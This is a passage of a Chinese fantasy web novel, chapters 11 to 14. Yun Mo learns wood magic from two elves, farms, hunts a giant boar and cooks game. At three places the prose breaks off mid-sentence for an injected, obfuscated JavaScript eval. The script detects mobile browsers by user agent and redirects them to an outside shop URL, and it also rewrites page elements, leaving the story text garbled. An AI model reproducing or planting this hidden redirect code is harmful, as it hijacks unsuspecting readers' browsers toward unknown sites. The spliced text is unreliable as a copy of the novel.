大约那些野生动物们还没适应突如其来的高度变化，就这么傻乎乎的暴露了。 得到消息后，云漠立刻在它们可能出现的几个地方设下陷阱。 这里真的太久没人来了，动物们都丧失警惕，只要小小一把麦粒，她们就收获了两只瘦不拉几的野鸡。 零失误！ 玛雅姨妈高兴坏了，这还是她第一次独立发现猎物呢！ “都是母鸡。”孵蛋的梦想破灭，霍莉有些失落，不过马上就高兴起来，“可以吃蛋。” 只要营养足够，母鸟就会下蛋，但没有雄鸟无法受精，就没办法孵小鸟。 “以后继续抓，这没什么。”玛雅姨妈高兴地说，亲自拿绳子绑住它们的腿。 春天到了，万物复苏，野草生长，虫子肆虐，各处潜藏着的禽、兽都开始外出觅食。 前后不过短短几天，气温便升高一截，整座山林、整个生态圈都像重新活过来似的。 虽然还有霜冻，但阴影处的冰层和积雪已经开始融化了。 说来也巧，当天傍晚她们在支流边打水时，又发现了一只野鸭。 野鸭子通体灰绿色，羽毛末端呈现出幻彩般的流光，阳光一照，光芒四射。 原本都用网兜套住了，没想到野鸭子具有相当的飞行和游泳能力，分明已经落入陷阱，竟然还强行拖着网飞走了。 好吧，损失又增加了。 三人看着远去的野鸭面面相觑，然后哈哈大笑起来。 拜师精灵的第十五天，中午来蹭饭的多了一名，非常突然。 新来的精灵看上去跟银星差不多大【当然，精灵们的年龄完全不能看外貌】，但发色好像更浅一点，性格也更活泼，高兴的时候就会露出两颗尖尖的小虎牙。 叫紫叶。 很难说银星对紫叶的到来是个什么态度。 双方应该很熟，对彼此的性情了如指掌，每当紫叶唧唧呱呱说很多话的时候，银星就会皱一皱眉，然后前者就会乖乖安静一阵。 但过不了多久，唧唧呱呱再现。 云漠觉得非常稀罕，话痨精灵！ 话痨明显有备而来，初次登门就自带碗筷，然后又在银星同款小布包里掏啊掏，掏出一大把红彤彤的浆果。 还带着翠嫩的枝条和叶片呢。 哇哦。 初春北地果实不多，也不知对方从哪里找来的。 云漠惊喜地接过，“来就来吧，还带什么……” 那些浆果约莫黄豆大小，三五成串，圆润饱满，玲珑可爱。 几乎是瞬间，云漠就回忆起草莓、树莓、蓝莓等诸多浆果们酸甜可口、甘美多汁的感觉，口中疯狂分泌起唾液。 浆果已经熟透，将果皮撑得极薄，摘取时能清晰地感受到指腹传来的惊人弹力。 丢入口中，齿尖轻轻压迫便爆裂开来，甘美的浆液瞬间蔓延到口腔中的所有角落。 云漠感动得几乎落泪。 好吃，真好吃！ 见她满意，话痨飞快地看了眼同伴腰间的小银罐子，然后再看向云漠，看看小银罐子，再看云漠…… 云漠：“……” 感情是为了这个来的！ 但你来之前也不打声招呼，谁出门带这么多糖呀！ 再说了，就这么一小串浆果就换糖瓜？ 得加钱。 大约觉得紫叶的表现太丢精灵的脸，银星叹了口气，慷慨地分出几颗糖瓜。 紫叶也不客气，当场剥开一枚丢入口中，吃得眉眼弯弯，连连点头。 就是这个味儿。 例行去捞鱼篓时，云漠遭遇了今日第一个难题： 干，空军！ 这条河里的鱼虾都怎么回事！ 要不要这么警惕？ 哪怕前几天再少，好歹也能有几只小虾，勉强可以凑个青菜虾仁，可现在？ 紫叶从她背后探出头来，看着空无一物的鱼篓哈哈大笑。 亏你还是木系魔法师，竟还用这样拙劣、落后的手段渔猎？ 怎么活这么大的？ 云漠：“……” 笑屁哦，这里可是有三个食量巨大的生物哎！ 你不吃饭的吗？ 云漠有点想骂精，但她的精灵语只学了寥寥几个词，实在没有攻击性，憋得脸通红也只憋出一个重重的鼻音： “……哼！” 看出她的羞恼，紫叶笑得更欢了，两颗尖尖的小虎牙都露出来，一起露出的还有甜蜜的糖果气息。 下一刻，就见还在笑着的精灵脚尖一点，风一样踩上河中石块。 紫叶开始以令人眼花缭乱的速度和轨迹在河岸和石块间跳跃，动作惊险又轻盈，好几次几乎是擦着石头边缘过去的，看得云漠目瞪口呆之余也不禁捏把冷汗。 前后不过一分钟，或许更短，河面上就浮起来十多条电球鱼。 云漠：“！！！” 姐，你是我的姐！ 云漠快乐地跟在紫叶后面捡鱼。 一条，两条，三条四条……嘿嘿，足足十六条！ 天呐，她从来没捞到过这么多！ 电球鱼不过网球大小， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202923|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十多条都填不满鱼篓，但丰收的喜悦令人振奋。 人类的兴奋和推崇不加掩饰，紫叶的嘴角非常难压，却还是装作毫不在乎道：“这算什么！冷水河和浩瀚森林深处的猎物多多了，也凶猛多了！” 云漠：“……听不懂！” 紫叶：“……” 下锅之前，云漠特意观察了下，发现几乎每条鱼脑袋上都有一根灰褐色的木刺，一击毙命。 它们甚至根本没来得及反应就一命呜呼。 这就是紫叶，或者说木系魔法师的正确打开方式吗？ 难怪精灵们喜欢栖息在森林，在这里，它们就是无冕之王。 这么想着，云漠下意识望向紫叶。 她毫不掩饰的向往和惊叹很好地取悦了精灵，对方心情大好，抬手丢过来一枚坚果。 那些灰刺就是从坚果上萌出的。 云漠仔细回忆着银星的做法，尝试着引导魔法元素进入坚果。 威力巨大的新物种，催生难度远超以往。 一次，两次，三次都失败了，但云漠没有放弃，一遍又一遍不厌其烦地重复着枯燥乏味的动作。 不知过去了多久，魔法元素们终于放弃抵抗，抑或被她的坚持打动，乖乖排队侵入坚硬的果壳。 刹那间，云漠的精神一松，迈入了一个崭新的世界。 种子的世界。 透过与魔法元素们建立的精神链接，她清楚地“看到”灰刺种子内部蕴含着磅礴的生命力，但因为没有合适的条件，所以仿佛陷入了沉睡，像无垠宇宙中的一团团星云。 它需要一个苏醒的契机。 这种感觉很奇妙，云漠无法以现有的语言形容。 她只知道此时此刻自己才算真正于魔法一道入门了。 但接下来呢？ 旁观的银星和紫叶都发出遗憾的叹息。 注定要失败了。 说魔法是世上最精妙的学问也不为过，它的每个环节都必须连贯、完美，容不得一点差错。 只是云漠迟疑的短暂瞬间，被引导进入的魔法元素们就陷入混乱，没头苍蝇似的乱作一团，轰然消散。 从中抽离出来的云漠扼腕不已，旋即便感受到空前的疲惫。 好像有一台强力抽水机把她的脑袋抽空大半，一阵阵发晕，还有点恶心。 她干呕几声，瘫坐在地，足足休息了二十分钟才完全恢复。 银星又取出一枚灰刺种子，注入魔力，下一刻，原本毫无动静的坚果就飞快地钻出数十根绿色的，尖尖的嫩芽。 嫩芽迅速抽条，很快就变成了云漠熟悉的灰褐色长刺，质地也坚硬起来，像盖着一层油润的蜡膜，而原本饱满的种子则以肉眼可见的速度干瘪、风化。 仅仅几次呼吸的工夫，它就在云漠眼前完成了一次生命循环。 如此神奇。 银星倾倒双手，灰刺倾泻而下，彼此摩擦，刷刷作响。 云漠本能地伸手去接，十多枚长刺轻轻落入她的掌心，发出清脆的碰撞声。 偶尔有几枚的尖端扎到肉，刺刺的，痒痒的。 银星指指灰刺，又虚虚点了点云漠的心窝： 植物是你的伙伴，要用心去了解它。 云漠若有所悟。 12. 第 12 章【捉虫】 紫叶捉到的电球鱼都很肥，普通做法难免浪费油脂，云漠临时决定将肥膘部分单独割下来熬油，然后将带来的黑面包击打成粉，裹上面包糠做炸鱼。 电球鱼本身腥味不重，熬出的鱼油味道也在可接受范围内。 就是少。 十六条肥美电球鱼割出来的脂肪也就那么大点儿，紧紧巴巴的。 这个世界的烹饪水平还相当原始，或者说根本没有什么烹饪的概念，更没有炸货。 银星和紫叶都好奇地打量着，然后当裹着面包糠的鱼下锅，滚烫的油锅开始翻滚，吱吱叫着冒出油烟气，两只精灵立刻齐刷刷跳开十多米远。 云漠哈哈大笑。 炸货这种东西，谁吃谁知道，要的就是高热量高油脂带来的满足和放纵感，会让人获得源自灵魂的愉悦。 炸好的电球鱼圆润、蓬松、饱满，通体呈现出美丽的灿金色，趁热咬一口，咔嚓嚓响成一片，酥到掉渣。 高温油炸能在瞬间锁住食材的汁水，表皮干爽酥脆，内里却十足鲜嫩。 紫叶只是用虎牙撕开一道小口子，汹涌的热气就伴着丰沛的肉汁扑面而来。 鲜美的鱼肉像一团热乎乎的雪，恨不得刚碰到舌头就融化掉，然后迅速流入胃袋。 它呼呼吐着混着清香的热气，迫不及待地吞下，满足极了。 精灵微微眯起眼睛，觉得很快活，很轻松。 这种感觉像极了天气好的日子，它躺在高高的树屋上，伴着熏风沐浴阳光，倾听森林深深浅浅的吟唱。 树顶的枝桠已经不太密集了，温暖的阳光被分割成一块块雪白的光斑，摇晃着落下，与婆娑的树影一起舞蹈，奏响只有森林和精灵才能听懂的乐章。 每当这个时候，几乎所有精灵都会驻足聆听，轻声相合。 在一个风和日丽的早上，云漠第一次成功完成了一整套【催生】流程： 她成功催发了一粒麦种，彻底的催发。 小小的种子发芽、抽条、蔓延、开花、结果、成熟，垂下的沉甸甸的麦穗。 麦穗迅速膨大，从青涩变成金黄。 完全违背自然生长规律，几十天被浓缩到几秒，活像一组按了倍速键的纪录片镜头。 它汲取云漠自身的精神力成长，以空气中游离的木系魔法元素为食，像……像一对半路夫妻临时孕育出来的健壮子嗣。 当这个荒唐的比喻浮现在脑海中，她成功把自己逗笑了。 虽然荒唐，但确实贴切。 这是神迹，愚弄了时间之神的神迹。 云漠看着那一串麦穗，精神疲惫，心潮起伏。 我成功了！ 她将麦穗晒干，小心剥出所有的完整麦粒，然后再从里面选取木系魔法元素最浓郁、生命里最旺盛的几颗，再次重复了催生的过程…… 五天后，云漠和玛雅姨妈、霍莉三人进行了第一次正式耕种。 这些天霍莉已经将农具把手修补完毕，正好用。 地就种在城堡和支流之间的空地上，很肥沃，不管日常照看还是灌溉都很方便。 两匹已经养出一点肥膘的瘦马充当“突击手”，吭哧吭哧犁出几亩地，将深埋地下的草根、石块和虫卵统统扒拉出来，立下一等功！ 捉来的两只野鸡也有了用武之地： 等待孵化的虫卵是它们的最爱，足足好几亩地呢，都吃撑了！ 连着大半个月，两只母鸡飞速上膘，下蛋一个赛一个勤快。 刚来那会儿，两只鸡三天能憋出一颗蛋就不错了，如今好了，霍莉每天都能从鸡窝里摸出一颗热乎乎的蛋。 运气好了，一天还能两颗呢！ 这些日子霍莉几乎天天从美梦中笑醒，浑身上下都有使不完的劲儿。 开什么玩笑，谁家天天鱼肉蛋的，每天中午还能喝一杯甜甜的麦芽糖水？ 贵族也过不上这样的好日子吧！ 种子用的是经过云漠反复筛选、催化的升级版小麦苗，另外还有一些蔬菜，都用同样的方法选出优质后代，提高产量和质量。 水稻没种，这里太冷了，水也不够多，成活的可能性太低。 带壳稻谷能储存好几年，大不了以后想吃就随时催生，年年更新好了。 云漠现在还没办法一次性催生太多粮食，日常所需还是要靠耕种，平时如果闲着没事，倒是也可以顺手催熟几株当个消遣，也是定心丸。 况且以后招揽农户，队伍发展壮大，更不可能指望她天天使用魔法种地来养活大家，那就本末倒置了。 玛雅姨妈主动承担起大管家的职责，看着面前这片火热出炉的新田地说：“我们还有几十斤面粉，节省一点足够撑到收获了。” 开春后，野菜遍地，再加上兔子肉和野鸡蛋、鱼虾、蘑菇，她们的餐桌越来越丰富，对主食的依赖也在减少。 “林子里有些果树呢，天气热了之后一定会有很多水果可以吃。”霍莉高兴地说，“我还发现了坚果林，可以摘一些来做点心、烤面包。” 有云漠的木系魔法打底，大家都感到空前安心。 哪怕粮食颗粒无收也饿不死！ 三人都没有什么种植经验，但云漠硬生生凭借木系魔法元素亲和把自己强行提高到了老手的程度。 现在她可以非常轻松地分辨出哪块地需要浇了，哪块地需要遮阳，哪块地又需要追肥。 当这项技能越来越熟练，她甚至在城堡里就能听到苗苗们的需求： “渴啊渴啊……” “虫子虫子……” “好痛好痛……” 刚钻出地表的麦苗绿油油一片，毛茸茸的，非常可爱。 虫子们也这么觉得。 野鸡再次上场。 一个平平无奇的午后，霍莉在寄托着大家希望的麦田中行走，用小木棍轻轻抖动麦苗，将那些可恶的虫子抖下来。 如今已经扩大到五只的野鸡队伍咯咯跟在身后，落一只就啄一只，吃得心满意足。 但是也不能掉以轻心，因为柔嫩多汁的麦苗对野鸡而言同样充满着吸引力，一个错眼就要去啄几口。 为了纠正这种恶习，霍莉也拿出了狠劲儿，看谁啄就往脑瓜子上敲一下。 敲得那几只野鸡直缩脖子。 家禽家畜都可以驯化，只要手段够强硬，用对了方法，不久它们就知道什么该吃，什么不该吃。 ******** 天气转暖之后，云漠已经掌握了近百个精灵语词汇，可以与银星和紫叶进行简单的对话了。 了解到附近一直有精灵巡逻队出没，她便放心大胆地进一步深入密林，走得更远了。 这么一来，精灵们就不用如此深入人类生活腹地，银星对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202924|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此自然没有意见。 倒是紫叶的眼神有点古怪。 这个人类好奇怪啊，这里可以算是两国边境了，她竟然不担心精灵巡逻队越界？ 一般人类领主听到这里，都会很警惕的吧？ 是的，紫叶第一眼就断定云漠就是新领主： 苍白的皮肤，纤细的体型，竟然还是个成长期的幼崽……跟生活在这里的其他土著人类截然不同。 呵，又是熟悉的人类老一套，被推出来送死的可怜虫而已。 如果云漠听到，一定会嗤之以鼻： 面子有个der用啊！ 有多大本事吃多大碗饭，我现在就是个光杆儿司令，自己人都顾不过来呢，还管什么越界！ 什么邻国入侵，这是免费护卫，懂？！ 之前她一直想四处探查，都因为担心野兽出没而搁浅，现在这么好的机会送上门，不抓住的是傻子！ 于是云漠见到了更多神奇生物，发现了更多更丰富的生活物资，甚至还成功借助陷阱捉到一头野猪！ 好大，真的好大！ 感觉这个时空的所有动植物都很大！ 地球上的野猪平均体长1.5到2米，身高也不过90厘米左右，健壮的成年野猪体重400斤左右，虽然破坏力惊人，但单纯看体型其实也还好。 但这里不一样。 随着活动范围扩大，云漠每日“通勤”时间也更长，更加疲惫。 她需要午休。 丛林休息第一法则，远离地面。 离开地面，你就能摆脱八成以上的危险。 浩瀚森林里的落叶层太厚了，只是用木棍拨弄一下，就会有无数节肢动物挥舞着密密麻麻的触须和细腿儿涌出，四处游动。 乍一看，好像这块地皮活了似的。 云漠的汗毛都竖起来了，脚下连连躲闪，都不敢想如果直接这么做下去会怎么样。 于是她用十二棱管状藤编了一张吊床，走到哪儿带到哪儿，随时随地休息。 这天中午吃过饭，云漠选了一根矮壮的树枝绑好吊床，仰面躺在里面，枕着双臂，眯着眼睛看上空洒下来的斑驳光斑。 午后的风中已带了几分柔和的暖意，穿林过叶，簌簌作响。 这里距离冷水河主干已经不远了，带着明显水汽的空气中弥漫着浓郁的草木清香，以及淡淡的霜雪味…… 吊床摇摇晃晃，云漠的思绪也跟着发散出去，晃啊晃…… 她快睡着了。 不远处的另一株大树上，两只精灵轻盈地靠在树枝上，同样在午休。 一切都是那样平静，安宁。 直到银星和紫叶的尖耳朵突然抖了抖，两双翠色眼睛先后睁开，迅速往某个方向望去。 紧接着，突然地面震动，枝叶颤抖，云漠瞬间惊醒，就见林中一头庞然巨物横冲直撞而来。 那畜生就像一座移动的小山，以摧枯拉朽的气势瞬间冲到跟前，两根尖利的獠牙隐隐发光。 云漠身上的白毛汗都出来了，顾不得许多，连滚带爬上了树，险而又险地看着对方脊背上的鬃毛从脚下擦过，同时将自己精心编制的吊床撞了个稀巴烂。 十二棱藤极其坚韧，据云漠保守估计，那样一张吊床足可承受数百斤巨力，但竟在巨型野猪面前，活像纸糊的。 这是真正的远古巨兽。 13. 第 13 章 云漠自然没那个本事直接对上巨型野猪，但事情就是这么巧： 她为了捕猎，在附近挖了几个连环陷阱，直接就把野猪陷进去了！ 原本野猪皮糙肉厚，体型又大，这点高度不算什么，但云漠在坑底插了好多削尖的，用明火硬化过的长矛！ 长矛尖端还涂抹了一种可以使人麻痹的毒蘑菇的汁液。 掉下去的瞬间，野猪自身的重力加速度成了致命因素，刺耳的咆哮响彻丛林。 它柔软的肚皮被刺伤了。 这么多年来，野猪还没遭受过如此奇耻大辱，本能地剧烈挣扎起来，于是伤口加大，划伤内脏。 自始至终，云漠都苟在树杈上捂着耳朵旁观。 发疯的兔子杀伤力都很惊人，更何况是这么一头祖宗了。 由它去吧！ 大约十几分钟后，野猪果然自己挣扎着爬了上来！ 它陷入狂怒，咆哮着掀翻了附近好几棵大树，却始终找不到真正的罪魁祸首，不情不愿地离开了。 云漠注意到，野猪走过的地面上都染了血迹，它的身形甚至也有些摇晃。 失血过多！ 这种出血量的伤口一定不小，但毒蘑菇的麻醉汁起效很快，最初的疼痛过后，野猪就什么都感觉不到了，还误以为自己完好无损，所以脱险后不是第一时间离开，反而肆无忌惮地发疯！ 傍晚回家之前，云漠循着血迹找到了那头野猪。 野猪的生命力真的顽强到可怕，如此恐怖的出血量，拖了足足大半天，云漠去的时候它的胸膛竟然还在微微起伏！ 野猪身边倒着几具陌生的动物尸体，应该是闻到了血腥味，想来落井下石，结果实力不济，反被濒死的野猪反杀。 太阳已经开始西斜，林中光线变得昏暗，丛林深处的阴影里有遮掩不住的悉悉索索的响动。 云漠甚至看见了几双发光的兽瞳。 她感觉到了危险，但……这么大头野猪！ 说起来也算她杀的，就这么拱手让出，实在不甘心。 可“野猪诚可贵，生命价更高”…… 正犹豫间，一支箭矢从云漠身后射出，精准地从野猪眼框内刺入。 射箭者力量极大，箭矢直没至尾羽，微微颤动着。 野猪瞬间没了气息。 随着紫叶从后面树上跃下，阴影中的野兽们顿时一阵躁动，然后竟如潮水般褪去了。 心理上的恐惧瞬间战胜了生理上的食欲。 云漠知道它们都没走远，也许现在都潜伏在黑影里等待着、观察着。 但这足以说明精灵对其他物种碾压般的威慑力。 云漠真诚道谢，承诺明天给紫叶带麦芽糖。 精灵满意地挑了挑眉，咧嘴露出两颗尖尖的小虎牙。 不过看见云漠掏出匕首，割下最肥美的一条野猪腿和一大块腹部五花肉，甚至还开膛破肚，拿走了白花花一片脂肪后，马上嫌弃地揪起眉毛。 啧啧，可怜的小东西，这种臭烘烘的东西有什么好吃的！ 因为追逐野猪，云漠今天回去的要比平时晚一点，刚到支流小河就看见对岸城堡外几点摇曳的灯火。 那是担忧的玛雅姨妈和霍莉。 “驾！” 云漠心头一热，再次催动马儿，飞一般跨过小河，穿过丛林，在璀璨星空下的旷野中奔驰。 “姨妈，霍莉，”她大声喊道，“我回来啦！” 玛雅姨妈和霍莉急得眼泪都快掉下来了，听见这一声，立即提灯冲上来。 云漠不等马儿停稳就跳下，刚要开口就被玛雅姨妈劈头盖脸拍了几巴掌，“怎么这么晚，这么晚才回来！” 不远处的山林中传来此起彼伏的野兽嚎叫，多吓人呐！ 万一出点什么事，她也活不下去了。 云漠嘿嘿笑着，让姨妈拍了几下，然后亮出马背上巨大的野猪肉，“看！” 那么大那么大的野猪腿，那么沉那么沉的五花肉！ 都快赶上她重了！ 现在天气还不算热，城堡内部格外阴森，放三两天没问题。 一看野猪腿的尺寸，玛雅姨妈和霍莉齐齐倒吸冷气。 云漠马上半真半假道：“不是我干的，我可没那么大本事，也没那么大胆子，是精灵杀的。” 说半句藏半句，任谁来也挑不出纰漏。 玛雅姨妈和霍莉果然信了。 这么多肉，接下来几天都不用外出打猎，可以好好休息，整顿内务了。 大家都激动得睡不着觉，熬夜处理。 巨型野猪是浩瀚森林的上层食物链成员，哪怕刚经历了寒冬，身上也有厚实的肥膘，刚好拿来熬猪油。 野猪未阉割，腥臊味很重，所幸血都流光了，算是意外之喜。 云漠催生了许多葱姜蒜、胡椒和野韭菜，跟猪板油和多余的脂肪部位一起丢到大锅里加水熬煮。 加水不容易糊锅，而且熬出来的猪油会更雪白。 自从初步掌握了催生魔法，云漠使用调味料时就慷慨豪放的多了。 有香料镇压，异味顿时小多了。 动物油脂用途广泛，不光可以用来做饭炒菜，关键时刻还可以当燃料、做清洁香皂、润肤油等。 巨型野猪体格惊人，一副猪板油加部分五花肥膘，足足得到了满满两大罐猪油！ 霍莉小心地将它们挪到阴凉处，“小姐，这么多油呢，够吃几个月了！” 云漠也是眉飞色舞。 感谢大自然的馈赠，有油了！ 睡觉前，云漠又煮了一锅大米，用带有余温的篝火灰烬将锅子埋起来，让它彻夜低温发酵。 次日一早，云漠就用魔法催生了足量的麦芽，而大米也发酵完成，可以熬麦芽糖了。 紫叶的份额来得突然，不得不加急赶工…… 昨晚熬夜干活儿，今天云漠起得有点晚，又干活，到得就有点晚。 没想到，紫叶比她还晚！ 大老远就见紫叶高举某种庞然大物，却依旧轻盈地自远处狂奔而来。 快到云漠跟前时，紫叶抬手一丢，“砰”一声重物坠地，地面都跟着抖了几下。 紫叶得意洋洋地看着她。 哼哼，好好看看吧，这才是真正的美食！ 银星目睹了这一切，有些无奈。 两只精灵的风格非常不同。 银星就像这片森林，广袤又深邃，包容性极强，不会轻易评判或试图更改别人的生活方式。 但紫叶不同。 这只年轻点的精灵性格中尖锐的部分很多，行事更激进，如果第一面不合眼缘，后期很难扭转印象。 就比如现在，云漠目瞪口呆地看着地上那一大摊肉。 要不是亲眼所见，她真不信这是精灵能干出来的事儿！ 猎物被从头到尾均匀地从中间剖开，光是这一半保守估计就有400多斤。 哪怕去掉皮、骨头、内脏和血，也能有个100斤净肉。 深棕色的毛发，敦厚的眼眸和嘴巴，锐利的尖角，粗壮的蹄子和结实的大屁股……一切特征都说明这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202925|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头猎物与牛深厚的联系。 肉，好多肉！ 但是…… 云漠在两只精灵惊愕的眼神中用力翻开远古牛尸体，震惊地发现内脏全被掏空了。 没，没了？！ 云漠的大脑立刻也跟牛肚子一样空洞。 短暂的沉默过后，她一个箭步冲过去，在精灵们惊愕的眼神中抓住紫叶的肩膀疯狂摇晃，声嘶力竭，“牛舌，牛肚，牛百叶……啊啊啊啊！” 牛下水有什么错，你把我的牛下水还给我！！！ 厚重肥美的肉排滋滋作响，莹润的油脂在热力作用下不断炸开花，浓烈的香气伴随着一声又一声叹息萦绕在篝火上空，奏成诡异的交响。 “唉！” “唉~” 两只精灵几乎要被人类这毫无节奏和美感可言的叹息逼疯了。 一开始二精根本不懂云漠到底在激动什么。 直到对方稍稍冷静下来，开始一遍又一遍地做出从肚子里往外掏的动作之后，两只精灵的疑惑就立刻变成了惊恐。 内脏确实柔软肥嫩，但是它臭啊！ 身为顶级掠食者，精灵们对食材要求极为苛刻，而且隐约有一点洁癖：那种臭烘烘的内脏只有不入流的食物链中下层才会去争夺。 打个比较极端的比方就是：有吃有喝的，好好的孩子怎么就想去吃翔呢？ 紫叶无语，紫叶激动。 我知道，我就知道，这只幼崽的脑袋坏掉了！ 昨天从她追逐那只臭烘烘的野猪，还傻笑着割肥肉时，我就知道她脑袋坏掉了！ 相对于跳脚的紫叶，银星显然更具备宽厚引导者的资质，也更善于深入的全方位的思考。 思考过后，稳重的精灵队长觉得一切都是人类的错。 没错。 一定是他们沉迷于耍阴谋诡计和无穷无尽的内斗，以至于自家幼崽长歪了都不知道。 谁家好好的娃会去吃翔啊！！ 想到这里，精灵队长发出一声沉重的叹息，然后主动把看上去最肥美的肉排让给人类。 吃吧，可怜的孩子。 吃了你就知道什么是真正应该入口的。 云漠从这只精灵眼里读懂了怜悯，她觉得简直莫名其妙。 但肉排确实好吃。 现代人吃到嘴里的食物都无一例外经过无数次改良，比如肉类更加细腻肥美，水果更加皮薄肉厚，云漠在切割时就发现这头远古牛的肌理相当粗糙。 但它生前的小日子显然过得不错，脂肪也比较丰富。 或许因为常年吃草，又或许天生品种优良，这一大坨肉竟然没什么异味儿，一点点香料和料酒略一腌制就很可口。 总而言之，是坨好肉，比昨天的骚臭的野猪不知强了多少倍。 真不愧是精灵优选。 挑着最肥嫩的地方割下，切断肌理，再用木棍捶打一番，煎到七、八成熟，刚刚好。 比现代饲养牛肉更有嚼劲，但很香，脂肪也丰富，云漠吃得满嘴流油，挺美。 但太多了。 云漠本就饭量不小，来到这边之后更是天天超负荷消耗，食量更上一层楼，如今一顿已经能够脸不红气不喘地吃下三四斤食物。 两只精灵也毫不逊色。 精灵虽然像人，但毕竟不是人，作为高级魔法生物，为了维持这样的体型，以及高强度的物理和魔法运转，自然需要更多的能量。 可即便如此，一人两精饱餐之后也还剩下八成的肉没有动。 吃不完，根本吃不完。 14. 第14章 带回去？ 看精灵也没有这么带走的打算。 我打包？ 可家里还有几十斤野猪肉，虽然不太好吃，但总不能扔了吧？ 开春了，温度不到零下，生肉保存不了太久的。 浪费食物天打雷劈，这是深深刻在国人骨髓里的东西。 正当云漠一筹莫展之际，却见紫叶又掏出银刀，轻松写意地切下许多片肉排。 然后眨着眼睛看着她，再转身看看貌似空无一物的密林。 一只合格的精灵，永远不会忘记同伴。 云漠茫然。 云漠恍然。 好家伙，真是好家伙，合着你搁这儿拿外卖来了是吧？ 她下意识看向银星，银星沉默着挪开了视线。 云漠：“……” 我就知道，天下没有白吃的午餐！ 出于对擅自抛弃下水的愤慨，云漠大着胆子指挥起了两只精灵。 哪怕煎完肉排，还剩不少边角料，精灵虽然看不上，但节俭惯了的云漠却不舍得丢弃。 她催促紫叶将碎肉刮下，把连带着筋膜的大骨打碎，一并投入到大桶中熬煮。 于是两只精灵看她的眼神就更复杂了。 看看，这倒霉孩子过的是什么日子？ 人类世界已经堕落至此了吗？ 骨头能吃吗？ 云漠：“……” 云漠赶鸡似的把两名围观者赶走了。 去去去，什么都不懂，净添乱。 熬制骨汤需要漫长的前摇，但等那一锅清水渐渐浮起油花，泛起乳白的诱人色泽，丝丝缕缕的筋膜也褪去油腻，变成膏脂般入口即化的美味时，一切付出都有了回报。 正在别的树上休息的紫叶又闻着味儿来了！！！ 你的回报来了！ 云漠：“……” 你敏锐的嗅觉都用来干这个了，是吗？ 帮那些不露面的精灵们煎肉排给我累个半死，这会儿竟然还厚着脸皮跑来蹭“下午茶”？ 云漠顿时“怒从心上起，恶向胆边生”，摆出一副赖皮的样子，指了指紫叶的箭囊，用非常有限的精灵语储备量干脆利落道： “你的，我，一个！” 给人当保姆还有工资呢，我给你们那么些精做了饭，还不能给点报酬了？ 要是银星来也就罢了，那是老师，管吃管住应该的，可这位？ 云漠觉得最近应该是有事发生了。 因为之前大家碰面时，银星只带随身匕首，显得轻松写意。 可从昨天开始就不同了： 精灵不仅换了一套颜色更明快，更溶于初春森林色彩的织物，而且还在脖子上挂了一枚银哨，背后挎了精致的长弓，腰侧挂着精美的箭囊。 显然精灵们做好了时刻战斗的准备。 匕首、长弓，都只有一份，云漠自然不好开口，也怕给人家弄坏了。 但你享受了我的服务，要你一支消耗品不过分吧？ 事实证明，这个要求确实不过分，紫叶眼睛都没眨一下就反手抽了一支。 云漠也没想到会这么顺利，傻笑着先去洗了手，然后才伺候艺术品般郑重地捧过来细细观赏。 确实是艺术品，云漠忍不住从喉间溢出赞叹之声。 细长箭身打磨得光滑圆润，好似美玉，错落有致地缠绕着纤细的藤蔓、花朵和果实，坚硬的箭头一端刻着太阳，尾羽一端则刻了月亮。 光影摇曳间，细腻的线条仿佛鲜活的画卷，栩栩如生。 紫叶本来觉得没什么，不过是一支精灵族中常见的雕刻箭矢而已，可眼见人类啧啧惊叹，它也不禁有些得意起来。 嗯哼！ 云漠欣赏完了，掏出麦芽糖盒子，直接说明自己的打算： 她想用糖块换取精灵长弓和箭矢。 昨天与野猪的遭遇战让云漠危机感爆棚。 现在她或许已经是合格的初级魔法师了，但攻击力非常有限，尤其缺乏有效的远程攻击手段。 而穿越之前，云漠就是个酷爱极限运动的户外生存达人，精通箭术。 恰恰精灵就是当世一流的弓箭制造大师。 这不专业对口了嘛！ 昨天紫叶就在割肉现场，倒是很能理解云漠的心情。 非但理解，甚至还有点欣慰： 总算有点木系魔法师的样子了。 最好的防守就是进攻，木系魔法师可不能被动挨打！ 精灵拥有与生俱来的出色视力和敏捷度，终生与弓箭为伴，而个体差异和行动方式决定了使用习惯的不同，所以精灵们成年后使用的弓箭基本都是自己做的： 没人比我更了解我。 一人一精的对话全程公开，大大方方，以银星出色的听力，哪怕不刻意偷听也听到了。 见银星没有反对，紫叶就知道对方默许了。 精灵打量下云漠的身高，忽然嘻嘻笑了起来，漂亮的绿色眼眸中满是揶揄。 云漠：“……” 过分了啊！ 我还在发育期，刚开始蓄力呢！ 现在矮点又怎么了！ 